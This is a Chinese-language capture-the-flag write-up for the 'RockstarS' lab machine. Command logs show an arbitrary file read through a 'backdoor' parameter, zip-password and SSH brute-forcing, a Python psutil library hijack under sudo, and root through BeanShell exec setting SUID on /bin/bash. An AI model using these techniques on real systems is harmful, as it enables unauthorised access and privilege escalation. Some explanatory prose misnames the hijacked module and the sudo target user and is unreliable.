rockstarS

image

信息搜集

192.168.43.171

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.171
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
RustScan: Where scanning meets swagging. 😎

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.171:22
Open 192.168.43.171:80
[~] Starting Script(s)
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 20:56 +0800
Initiating ARP Ping Scan at 20:56
Scanning 192.168.43.171 [1 port]
Completed ARP Ping Scan at 20:56, 1.43s elapsed (1 total hosts)
Nmap scan report for 192.168.43.171 [host down, received no-response]
Read data files from: /usr/share/nmap
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 1.48 seconds
Raw packets sent: 2 (56B) | Rcvd: 0 (0B)
  • 22 SSH
  • 80 HTTP

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿Eecho)-[~]
└─# gobuster dir -u http://192.168.43.171/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.171/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: php,txt,html,back,cgi,jpg,json,md
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.php (Status: 500) [Size: 19]
index.html (Status: 200) [Size: 0]
db.php (Status: 200) [Size: 0]
javascript (Status: 301) [Size: 321] [--> http://192.168.43.171/javascript/]

index.php返回了500说明需要参数才能正常的运行

Fuzzing

前面测试了GET请求方案无果后,转向POST

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(root㉿Eecho)-[~]
└─# wfuzz -w /usr/share/wordlists/dirb/common.txt -u "http://192.168.43.171/index.php" -d "FUZZ=/etc/passwd" --hc 404 --hh 19
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.43.171/index.php
Total requests: 4614

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000557: 200 30 L 41 W 1575 Ch "backdoor"

Total time: 0
Processed Requests: 4614
Filtered Requests: 4613
Requests/sec.: 0

是一个任意文件读取

image

有一个四个用户

1
2
3
4
shark
wvverez
loseey
usernam3

前面gobuster还扫描出一个db.php文件。一般web目录是/var/www/html所以直接访问/var/www/html/db.php

image

内容被注释了,所以需要查看源码

image

1
2
3
4
<?php
$usuario = "shark";
$contrasena = "djbasdnbasdas&$AAAALLthl";
?>

给出了shark用户的凭证

ssh登录到shark用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿Eecho)-[~]
└─# ssh shark@192.168.43.171
The authenticity of host '192.168.43.171 (192.168.43.171)' can't be established.
ED25519 key fingerprint is: SHA256:09ZSLxiw1tvVbTWbg6eZzfN1d3i5dWrpGIe+aCobTK4
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.171' (ED25519) to the list of known hosts.
shark@192.168.43.171's password:
Linux TheHackersLabs-RockstarS 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64

/^\/^\
_|__| O|
\/ /~ \_/ \
\____|__________/ \
\_______ \
`\ \ \
| | \
/ / \
/ / \\
/ / \ \
/ / \ \
/ / _----_ \ \
/ / _-~ ~-_ | |
( ( _-~ _--_ ~-_ _/ |
\ ~-____-~ _-~ ~-_ ~-_-~ /
~-_ _-~ ~-_ _-~
~--______-~ ~-___-~

Last login: Thu Mar 12 17:26:30 2026 from 192.168.91.191
shark@TheHackersLabs-RockstarS:~$ id
uid=1001(shark) gid=1001(shark) grupos=1001(shark),100(users),1002(wvverez)
shark@TheHackersLabs-RockstarS:~$

提权

shark -> loseey

wvverez目录下有个rubiales.zip,解压需要密码

image

get到kali上爆破密码

1
2
3
4
5
6
7
8
shark@TheHackersLabs-RockstarS:/home/wvverez$ scp rubiales.zip root@192.168.43.6:/tmp/bbbb
The authenticity of host '192.168.43.6 (192.168.43.6)' can't be established.
ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.43.6' (ED25519) to the list of known hosts.
root@192.168.43.6's password:
rubiales.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ls -al
total 20
drwxr-xr-x 2 root root 4096 May 21 21:02 .
drwxrwxrwt 57 root root 12288 May 21 20:50 ..
-rw-r--r-- 1 root root 366 May 21 21:02 rubiales.zip
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# chmod +x rubiales.zip
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# zip2john rubiales.zip > zip_hash.txt
ver 2.0 efh 5455 efh 7875 rubiales.zip/passwords.txt PKZIP Encr: TS_chk, cmplen=174, decmplen=295, crc=8E99C328 ts=8D21 cs=8d21 type=8
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ls
rubiales.zip zip_hash.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
princess (rubiales.zip/passwords.txt)
1g 0:00:00:00 DONE (2026-05-21 21:03) 50.00g/s 2457Kp/s 2457Kc/s 2457KC/s 123456..trudy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

成功获取到密码,解压压缩包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# unzip rubiales.zip
Archive: rubiales.zip
[rubiales.zip] passwords.txt password:
inflating: passwords.txt
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# cat passwords.txt
dadADASJNDAKNd1dadad
ajdjAsdaddiandas12313
kmdalskdmasdnmaskj126
djasndjasndjnasdjna12
dasdjnasjdknasdasd098
mkkdjasdasdasdasdada1
dasdjknadnasjdasjldas5
dkjandnkasndasjndjasd12
ldjnansdklnmasldasdd01
dljnasndkjasndjnasdja12
gjndkaskdasjdasndansdn
1dkjnandjkasndjasndjdd
djnasdnsadjnasldnaldn12
┌──(root㉿Eecho)-[/tmp/bbbb]
└─#

是一个密码文件

使用这个密码字典,爆破其余的用户名

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# hydra -L users.txt -P passwords.txt ssh://192.168.43.171
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-21 21:05:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 39 login tries (l:3/p:13), ~3 tries per task
[DATA] attacking ssh://192.168.43.171:22/
[22][ssh] host: 192.168.43.171 login: loseey password: kmdalskdmasdnmaskj126
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-21 21:05:22

横向移动到loseey用户

1
2
3
4
5
shark@TheHackersLabs-RockstarS:/home/wvverez$ su loseey
Contraseña:
loseey@TheHackersLabs-RockstarS:/home/wvverez$ id
uid=1000(loseey) gid=1000(loseey) grupos=1000(loseey),100(users)
loseey@TheHackersLabs-RockstarS:/home/wvverez$

loseey -> username3

1
2
3
4
5
6
7
loseey@TheHackersLabs-RockstarS:/home/wvverez$ sudo -l
sudo: unable to resolve host TheHackersLabs-RockstarS: Nombre o servicio desconocido
Matching Defaults entries for loseey on TheHackersLabs-RockstarS:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User loseey may run the following commands on TheHackersLabs-RockstarS:
(username3) NOPASSWD: /usr/bin/python3 /home/loseey/rubiales.py

username3用户可以无密码以root执行/usr/bin/python3 /home/loseey/rubiales.py

查看rubiales.py文件

1
2
3
4
5
6
7
8
9
10
11
loseey@TheHackersLabs-RockstarS:~$ cat /home/loseey/rubiales.py
import psutil


def print_virtual_memory():
vm = psutil.virtual_memory()
print(f"Total: {vm.total} Available: {vm.available}")


if __name__ == "__main__":
print_virtual_memory()

Python 库劫持

rubiales.py.py脚本导入了base64模块,而根据 Python 的标准寻道规则它首先会检查当前工作目录(Current Working Directory) 。如果当前目录下有一个名为 rubiales.py 的文件,Python 就会直接加载它,而不会去系统目录加载官方的标准库。

同时rubiales.py又位于/home/loseey/目录下,当前又是loseey用户,所以有写权限

1
2
3
4
5
6
7
8
9
10
11
loseey@TheHackersLabs-RockstarS:~$ cd /home/loseey/
loseey@TheHackersLabs-RockstarS:~$ nano psutil.py
Tiene correo nuevo en /var/mail/loseey
loseey@TheHackersLabs-RockstarS:~$ cat psutil.py
import os
os.system("/bin/bash")
loseey@TheHackersLabs-RockstarS:~$ sudo -u username3 /usr/bin/python3 /home/loseey/rubiales.py
sudo: unable to resolve host TheHackersLabs-RockstarS: Nombre o servicio desconocido
username3@TheHackersLabs-RockstarS:/home/loseey$ id
uid=1003(username3) gid=1003(username3) grupos=1003(username3),100(users),113(lxd)
username3@TheHackersLabs-RockstarS:/home/loseey$

username3 -> root

1
2
3
4
5
6
7
username3@TheHackersLabs-RockstarS:/home/loseey$ sudo -l
sudo: unable to resolve host TheHackersLabs-RockstarS: Nombre o servicio desconocido
Matching Defaults entries for username3 on TheHackersLabs-RockstarS:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User username3 may run the following commands on TheHackersLabs-RockstarS:
(root) NOPASSWD: /usr/bin/bsh

可以以root身份运行/usr/bin/bsh

这里的 /usr/bin/bsh 是 BeanShell(一个基于 Java 的脚本解释器)

1
2
3
4
username3@TheHackersLabs-RockstarS:/home/loseey$ sudo -u root /usr/bin/bsh
sudo: unable to resolve host TheHackersLabs-RockstarS: Nombre o servicio desconocido
BeanShell 2.0b4 - by Pat Niemeyer (pat@pat.net)
bsh %

这里是运行不了Linux命令的

查看wifi可以知道能使用exec执行Linux命令

https://github.com/beanshell/beanshell/wiki

image

1
2
3
4
5
6
7
8
9
username3@TheHackersLabs-RockstarS:/home/loseey$ sudo -u root /usr/bin/bsh
sudo: unable to resolve host TheHackersLabs-RockstarS: Nombre o servicio desconocido
BeanShell 2.0b4 - by Pat Niemeyer (pat@pat.net)
bsh % exec("id");
uid=0(root) gid=0(root) grupos=0(root)
bsh % exec("chmod +s /bin/bash");
bsh % username3@TheHackersLabs-RockstarS:/home/loseey$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1265648 mar 29 2024 /bin/bash
username3@TheHackersLabs-RockstarS:/home/loseey$

切换到root用户

1
2
3
4
username3@TheHackersLabs-RockstarS:/home/loseey$ /bin/bash -p
bash-5.2# id
uid=1003(username3) gid=1003(username3) euid=0(root) egid=0(root) grupos=0(root),100(users),113(lxd),1003(username3)
bash-5.2#

image